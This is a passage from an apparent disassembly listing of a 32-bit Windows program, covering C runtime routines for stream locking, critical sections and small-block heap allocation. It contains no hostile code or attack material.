pop esi retn ; --------------------------------------------------------------------------- loc_417C89: ; CODE XREF: sub_417C5F+19j xor eax, eax pop esi retn sub_417C5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C8D proc near ; CODE XREF: sub_417D62+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00417D3E SIZE 0000001B BYTES push 14h push offset stru_428FF8 call __SEH_prolog xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_20], edi push 1 call sub_4180B5 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_417CAE: ; CODE XREF: sub_417C8D+99j mov [ebp+var_24], esi cmp esi, dword_47D9C0 jge loc_417D3E mov eax, dword_47C9A4 mov eax, [eax+esi*4] cmp eax, edi jz short loc_417D25 test byte ptr [eax+0Ch], 83h jz short loc_417D25 push eax push esi call sub_417E57 pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_47C9A4 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_417D1D cmp [ebp+arg_0], edx jnz short loc_417D04 push eax call sub_417C5F pop ecx cmp eax, 0FFFFFFFFh jz short loc_417D1D inc [ebp+var_1C] jmp short loc_417D1D ; --------------------------------------------------------------------------- loc_417D04: ; CODE XREF: sub_417C8D+64j cmp [ebp+arg_0], edi jnz short loc_417D1D test cl, 2 jz short loc_417D1D push eax call sub_417C5F pop ecx cmp eax, 0FFFFFFFFh jnz short loc_417D1D or [ebp+var_20], eax loc_417D1D: ; CODE XREF: sub_417C8D+5Fj ; sub_417C8D+70j ... mov [ebp+ms_exc.disabled], edi call sub_417D2D loc_417D25: ; CODE XREF: sub_417C8D+3Aj ; sub_417C8D+40j inc esi jmp short loc_417CAE sub_417C8D endp ; =============== S U B R O U T I N E ======================================= sub_417D28 proc near ; DATA XREF: .rdata:0042900Co xor edi, edi mov esi, [ebp-24h] sub_417D28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417D2D proc near ; CODE XREF: sub_417C8D+93p mov eax, dword_47C9A4 push dword ptr [eax+esi*4] push esi call sub_417EA9 pop ecx pop ecx retn sub_417D2D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417C8D loc_417D3E: ; CODE XREF: sub_417C8D+2Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_417D59 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_417D53 mov eax, [ebp+var_20] loc_417D53: ; CODE XREF: sub_417C8D+C1j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_417C8D ; =============== S U B R O U T I N E ======================================= sub_417D59 proc near ; CODE XREF: sub_417C8D+B5p ; DATA XREF: .rdata:stru_428FF8o push 1 call sub_418021 pop ecx retn sub_417D59 endp ; =============== S U B R O U T I N E ======================================= sub_417D62 proc near ; CODE XREF: sub_417E14p push 1 call sub_417C8D pop ecx retn sub_417D62 endp ; =============== S U B R O U T I N E ======================================= sub_417D6B proc near ; DATA XREF: .data:0042B010o mov eax, dword_47D9C0 test eax, eax push esi push 14h pop esi jnz short loc_417D7F mov eax, 200h jmp short loc_417D85 ; --------------------------------------------------------------------------- loc_417D7F: ; CODE XREF: sub_417D6B+Bj cmp eax, esi jge short loc_417D8A mov eax, esi loc_417D85: ; CODE XREF: sub_417D6B+12j mov dword_47D9C0, eax loc_417D8A: ; CODE XREF: sub_417D6B+16j push 4 push eax call sub_41C0B0 test eax, eax pop ecx pop ecx mov dword_47C9A4, eax jnz short loc_417DBB push 4 push esi mov dword_47D9C0, esi call sub_41C0B0 test eax, eax pop ecx pop ecx mov dword_47C9A4, eax jnz short loc_417DBB push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_417DBB: ; CODE XREF: sub_417D6B+30j ; sub_417D6B+49j xor edx, edx mov ecx, offset off_42D988 jmp short loc_417DC9 ; --------------------------------------------------------------------------- loc_417DC4: ; CODE XREF: sub_417D6B+6Dj mov eax, dword_47C9A4 loc_417DC9: ; CODE XREF: sub_417D6B+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_42DC08 jl short loc_417DC4 xor ecx, ecx mov edx, offset dword_42D998 loc_417DE1: ; CODE XREF: sub_417D6B+A3j mov esi, ecx mov eax, ecx and eax, 1Fh sar esi, 5 mov esi, dword_47C640[esi*4] lea eax, [eax+eax*8] mov eax, [esi+eax*4] cmp eax, 0FFFFFFFFh jz short loc_417E01 test eax, eax jnz short loc_417E04 loc_417E01: ; CODE XREF: sub_417D6B+90j or dword ptr [edx], 0FFFFFFFFh loc_417E04: ; CODE XREF: sub_417D6B+94j add edx, 20h inc ecx cmp edx, offset dword_42D9F8 jl short loc_417DE1 xor eax, eax pop esi retn sub_417D6B endp ; =============== S U B R O U T I N E ======================================= sub_417E14 proc near ; DATA XREF: .data:0042B028o ; FUNCTION CHUNK AT 0041CE2A SIZE 00000092 BYTES call sub_417D62 cmp byte_47C1FC, 0 jz short locret_417E27 jmp loc_41CE2A ; --------------------------------------------------------------------------- locret_417E27: ; CODE XREF: sub_417E14+Cj retn sub_417E14 endp ; =============== S U B R O U T I N E ======================================= sub_417E28 proc near ; CODE XREF: sub_4147F3+27p ; sub_41499E+Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_42D988 cmp eax, ecx jb short loc_417E4C cmp eax, offset dword_42DBE8 ja short loc_417E4C sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_4180B5 pop ecx retn ; --------------------------------------------------------------------------- loc_417E4C: ; CODE XREF: sub_417E28+Bj ; sub_417E28+12j add eax, 20h push eax call ds:dword_42001C ; RtlEnterCriticalSection retn sub_417E28 endp ; =============== S U B R O U T I N E ======================================= sub_417E57 proc near ; CODE XREF: sub_417C8D+44p ; sub_4194B5+66p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_417E6B add eax, 10h push eax call sub_4180B5 pop ecx retn ; --------------------------------------------------------------------------- loc_417E6B: ; CODE XREF: sub_417E57+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_42001C ; RtlEnterCriticalSection retn sub_417E57 endp ; =============== S U B R O U T I N E ======================================= sub_417E7A proc near ; CODE XREF: sub_41483C+1p ; sub_4149E0+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_42D988 cmp eax, ecx jb short loc_417E9E cmp eax, offset dword_42DBE8 ja short loc_417E9E sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_418021 pop ecx retn ; --------------------------------------------------------------------------- loc_417E9E: ; CODE XREF: sub_417E7A+Bj ; sub_417E7A+12j add eax, 20h push eax call ds:dword_420018 ; RtlLeaveCriticalSection retn sub_417E7A endp ; =============== S U B R O U T I N E ======================================= sub_417EA9 proc near ; CODE XREF: sub_417D2D+9p ; sub_4194B5+7Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_417EBD add eax, 10h push eax call sub_418021 pop ecx retn ; --------------------------------------------------------------------------- loc_417EBD: ; CODE XREF: sub_417EA9+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_420018 ; RtlLeaveCriticalSection retn sub_417EA9 endp ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417F18 proc near ; CODE XREF: sub_417F32+20p cmp dword_47C1C4, 2 jnz short loc_417F2E cmp dword_47C1D0, 5 jb short loc_417F2E xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_417F2E: ; CODE XREF: sub_417F18+7j ; sub_417F18+10j push 3 pop eax retn sub_417F18 endp ; =============== S U B R O U T I N E ======================================= sub_417F32 proc near ; CODE XREF: .text:004161E2p arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call ds:dword_420188 ; HeapCreate test eax, eax mov dword_47C99C, eax jz short loc_417F7C call sub_417F18 cmp eax, 3 mov dword_47C9A0, eax jnz short loc_417F7F push 3F8h call sub_4180E6 test eax, eax pop ecx jnz short loc_417F7F push dword_47C99C call ds:dword_420184 ; HeapDestroy loc_417F7C: ; CODE XREF: sub_417F32+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_417F7F: ; CODE XREF: sub_417F32+2Dj ; sub_417F32+3Cj xor eax, eax inc eax retn sub_417F32 endp ; =============== S U B R O U T I N E ======================================= sub_417F83 proc near ; CODE XREF: sub_416CB6p push esi push edi xor esi, esi mov edi, offset dword_47C228 loc_417F8C: ; CODE XREF: sub_417F83+35j cmp dword_42DC14[esi*8], 1 jnz short loc_417FB4 lea eax, ds:42DC10h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_41CFB8 test eax, eax pop ecx pop ecx jz short loc_417FC0 loc_417FB4: ; CODE XREF: sub_417F83+11j inc esi cmp esi, 24h jl short loc_417F8C xor eax, eax inc eax loc_417FBD: ; CODE XREF: sub_417F83+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_417FC0: ; CODE XREF: sub_417F83+2Fj and off_42DC10[esi*8], 0 xor eax, eax jmp short loc_417FBD sub_417F83 endp ; =============== S U B R O U T I N E ======================================= sub_417FCC proc near ; CODE XREF: sub_416C27p push ebx mov ebx, ds:dword_420024 push esi mov esi, offset off_42DC10 push edi loc_417FDA: ; CODE XREF: sub_417FCC+30j mov edi, [esi] test edi, edi jz short loc_417FF3 cmp dword ptr [esi+4], 1 jz short loc_417FF3 push edi call ebx ; RtlDeleteCriticalSection push edi call sub_414844 and dword ptr [esi], 0 pop ecx loc_417FF3: ; CODE XREF: sub_417FCC+12j ; sub_417FCC+18j add esi, 8 cmp esi, offset dword_42DD30 jl short loc_417FDA mov esi, offset off_42DC10 pop edi loc_418004: ; CODE XREF: sub_417FCC+50j mov eax, [esi] test eax, eax jz short loc_418013 cmp dword ptr [esi+4], 1 jnz short loc_418013 push eax call ebx ; RtlDeleteCriticalSection loc_418013: ; CODE XREF: sub_417FCC+3Cj ; sub_417FCC+42j add esi, 8 cmp esi, offset dword_42DD30 jl short loc_418004 pop esi pop ebx retn sub_417FCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418021 proc near ; CODE XREF: sub_414897+2p ; sub_414B52+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_42DC10[eax*8] call ds:dword_420018 ; RtlLeaveCriticalSection pop ebp retn sub_418021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418036 proc near ; CODE XREF: sub_4180B5+14p ; sub_4194B5+4Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] lea esi, ds:42DC10h[esi*8] cmp dword ptr [esi], 0 jz short loc_41804E xor eax, eax inc eax jmp short loc_4180B2 ; --------------------------------------------------------------------------- loc_41804E: ; CODE XREF: sub_418036+11j push edi push 18h call sub_414CAD mov edi, eax test edi, edi pop ecx jnz short loc_41806C loc_41805D: ; CODE XREF: sub_418036+63j call sub_419430 mov dword ptr [eax], 0Ch xor eax, eax jmp short loc_4180B1 ; --------------------------------------------------------------------------- loc_41806C: ; CODE XREF: sub_418036+25j push 0Ah call sub_4180B5 cmp dword ptr [esi], 0 pop ecx jnz short loc_41809F push 0FA0h push edi call sub_41CFB8 test eax, eax pop ecx pop ecx jnz short loc_41809B push edi call sub_414844 push 0Ah call sub_418021 pop ecx pop ecx jmp short loc_41805D ; --------------------------------------------------------------------------- loc_41809B: ; CODE XREF: sub_418036+52j mov [esi], edi jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809F: ; CODE XREF: sub_418036+41j push edi call sub_414844 pop ecx loc_4180A6: ; CODE XREF: sub_418036+67j push 0Ah call sub_418021 xor eax, eax pop ecx inc eax loc_4180B1: ; CODE XREF: sub_418036+34j pop edi loc_4180B2: ; CODE XREF: sub_418036+16j pop esi pop ebp retn sub_418036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180B5 proc near ; CODE XREF: sub_414844+1Ep ; sub_4149EA+51p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:42DC10h[eax*8] cmp dword ptr [esi], 0 jnz short loc_4180DB push eax call sub_418036 test eax, eax pop ecx jnz short loc_4180DB push 11h call sub_4160D0 pop ecx loc_4180DB: ; CODE XREF: sub_4180B5+11j ; sub_4180B5+1Cj push dword ptr [esi] call ds:dword_42001C ; RtlEnterCriticalSection pop esi pop ebp retn sub_4180B5 endp ; =============== S U B R O U T I N E ======================================= sub_4180E6 proc near ; CODE XREF: sub_417F32+34p arg_0 = dword ptr 4 push 140h push 0 push dword_47C99C call ds:dword_42005C ; RtlAllocateHeap test eax, eax mov dword_47C988, eax jnz short loc_418103 retn ; --------------------------------------------------------------------------- loc_418103: ; CODE XREF: sub_4180E6+1Aj mov ecx, [esp+arg_0] and dword_47C980, 0 and dword_47C984, 0 mov dword_47C990, eax xor eax, eax mov dword_47C98C, ecx mov dword_47C994, 10h inc eax retn sub_4180E6 endp ; =============== S U B R O U T I N E ======================================= sub_41812E proc near ; CODE XREF: sub_414844+29p ; sub_4149EA+5Bp ... arg_0 = dword ptr 4 mov eax, dword_47C984 lea ecx, [eax+eax*4] mov eax, dword_47C988 lea ecx, [eax+ecx*4] jmp short loc_418152 ; --------------------------------------------------------------------------- loc_418140: ; CODE XREF: sub_41812E+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418158 add eax, 14h loc_418152: ; CODE XREF: sub_41812E+10j cmp eax, ecx jb short loc_418140 xor eax, eax locret_418158: ; CODE XREF: sub_41812E+1Fj retn sub_41812E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418159 proc near ; CODE XREF: sub_414844+38p ; sub_4149EA+B8p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41846D push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_418224 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4181BC push 3Fh pop edx loc_4181BC: ; CODE XREF: sub_418159+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_418206 cmp edx, 20h mov ebx, 80000000h jnb short loc_4181E7 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_418203 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_418203 ; --------------------------------------------------------------------------- loc_4181E7: ; CODE XREF: sub_418159+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_418203 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_418203: ; CODE XREF: sub_418159+85j ; sub_418159+8Cj ... mov ebx, [ebp+arg_4] loc_418206: ; CODE XREF: sub_418159+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_418224: ; CODE XREF: sub_418159+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_418232 push 3Fh pop edx loc_418232: ; CODE XREF: sub_418159+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_4182D0 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_418257 mov ebx, esi loc_418257: ; CODE XREF: sub_418159+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_418269 mov edx, esi loc_418269: ; CODE XREF: sub_418159+10Cj cmp ebx, edx jz short loc_4182CB mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_4182B3 cmp ebx, 20h mov esi, 80000000h jnb short loc_418299 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_4182B3 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_4182B3 ; --------------------------------------------------------------------------- loc_418299: ; CODE XREF: sub_418159+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_4182B3 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_4182B3: ; CODE XREF: sub_418159+11Dj ; sub_418159+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_4182CB: ; CODE XREF: sub_418159+112j mov esi, [ebp+arg_4] jmp short loc_4182D3 ; --------------------------------------------------------------------------- loc_4182D0: ; CODE XREF: sub_418159+E2j mov ebx, [ebp+arg_0] loc_4182D3: ; CODE XREF: sub_418159+175j cmp [ebp+var_C], 0 jnz short loc_4182E1 cmp ebx, edx jz loc_418361 loc_4182E1: ; CODE XREF: sub_418159+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_418361 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_418338 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418327 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418327: ; CODE XREF: sub_418159+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_418361 ; --------------------------------------------------------------------------- loc_418338: ; CODE XREF: sub_418159+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41834E lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41834E: ; CODE XREF: sub_418159+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_418361: ; CODE XREF: sub_418159+182j ; sub_418159+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41846C mov eax, dword_47C980 test eax, eax jz loc_41845E mov ecx, dword_47C998 mov esi, ds:dword_42018C push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_47C998 mov eax, dword_47C980 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_47C980 mov eax, [eax+10h] mov ecx, dword_47C998 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_47C980 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_47C980 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_4183EF and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_47C980 loc_4183EF: ; CODE XREF: sub_418159+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41845E push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_47C980 push dword ptr [eax+10h] push 0 push dword_47C99C call ds:dword_420058 ; RtlFreeHeap mov eax, dword_47C984 mov edx, dword_47C988 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_47C980 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D050 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_47C984 cmp eax, dword_47C980 jbe short loc_418454 sub [ebp+arg_0], 14h loc_418454: ; CODE XREF: sub_418159+2F5j mov eax, dword_47C988 mov dword_47C990, eax loc_41845E: ; CODE XREF: sub_418159+223j ; sub_418159+29Aj mov eax, [ebp+arg_0] mov dword_47C980, eax mov dword_47C998, edi loc_41846C: ; CODE XREF: sub_418159+216j pop ebx loc_41846D: ; CODE XREF: sub_418159+37j pop edi pop esi leave retn sub_418159 endp ; =============== S U B R O U T I N E ======================================= sub_418471 proc near ; CODE XREF: sub_41890D+150p mov eax, dword_47C984 mov ecx, dword_47C994 push edi xor edi, edi cmp eax, ecx jnz short loc_4184B7 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_47C988 push edi push dword_47C99C call ds:dword_420158 ; RtlReAllocateHeap cmp eax, edi jnz short loc_4184A6 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4184A6: ; CODE XREF: sub_418471+2Fj add dword_47C994, 10h mov dword_47C988, eax mov eax, dword_47C984 loc_4184B7: ; CODE XREF: sub_418471+10j mov ecx, dword_47C988 push esi push 41C4h push 8 push dword_47C99C lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call ds:dword_42005C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jnz short loc_4184E2 loc_4184DE: ; CODE XREF: sub_418471+9Bj xor eax, eax jmp short loc_418525 ; --------------------------------------------------------------------------- loc_4184E2: ; CODE XREF: sub_418471+6Bj push 4 push 2000h push 100000h push edi call ds:dword_420190 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41850E push dword ptr [esi+10h] push edi push dword_47C99C call ds:dword_420058 ; RtlFreeHeap jmp short loc_4184DE ; --------------------------------------------------------------------------- loc_41850E: ; CODE XREF: sub_418471+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_47C984 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_418525: ; CODE XREF: sub_418471+6Fj pop esi pop edi retn sub_418471 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418528 proc near ; CODE XREF: sub_41890D+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_418540 ; --------------------------------------------------------------------------- loc_41853D: ; CODE XREF: sub_418528+1Aj shl eax, 1 inc ebx loc_418540: ; CODE XREF: sub_418528+13j test eax, eax jge short loc_41853D mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_418559: ; CODE XREF: sub_418528+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_418559 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:dword_420190 ; VirtualAlloc test eax, eax jnz short loc_41858C or eax, 0FFFFFFFFh jmp loc_418629 ; --------------------------------------------------------------------------- loc_41858C: ; CODE XREF: sub_418528+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_4185DC mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_4185A4: ; CODE XREF: sub_418528+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_4185A4 mov edx, [ebp+var_4] loc_4185DC: ; CODE XREF: sub_418528+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_418619 or [eax+4], edi loc_418619: ; CODE XREF: sub_418528+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_418629: ; CODE XREF: sub_418528+5Fj pop edi pop esi pop ebx leave retn sub_418528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41862E proc near ; CODE XREF: sub_4149EA+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_4187D0 test bl, 1 jnz loc_4187C9 add ebx, ecx cmp esi, ebx jg loc_4187C9 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_4186A3 push 3Fh pop ecx mov [ebp+var_8], ecx loc_4186A3: ; CODE XREF: sub_41862E+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4186EE cmp ecx, 20h mov ebx, 80000000h jnb short loc_4186CF shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_4186EE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4186EE ; --------------------------------------------------------------------------- loc_4186CF: ; CODE XREF: sub_41862E+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4186EE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4186EE: ; CODE XREF: sub_41862E+7Bj ; sub_41862E+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_4187B7 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_418728 push 3Fh pop edi loc_418728: ; CODE XREF: sub_41862E+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_4187A5 mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_41877C cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_418774 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418774: ; CODE XREF: sub_41862E+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_41879C ; --------------------------------------------------------------------------- loc_41877C: ; CODE XREF: sub_41862E+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_418792 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418792: ; CODE XREF: sub_41862E+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_41879C: ; CODE XREF: sub_41862E+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_4187A5: ; CODE XREF: sub_41862E+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_4187BA ; --------------------------------------------------------------------------- loc_4187B7: ; CODE XREF: sub_41862E+DEj mov edx, [ebp+arg_4] loc_4187BA: ; CODE XREF: sub_41862E+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_418905 ; --------------------------------------------------------------------------- loc_4187C9: ; CODE XREF: 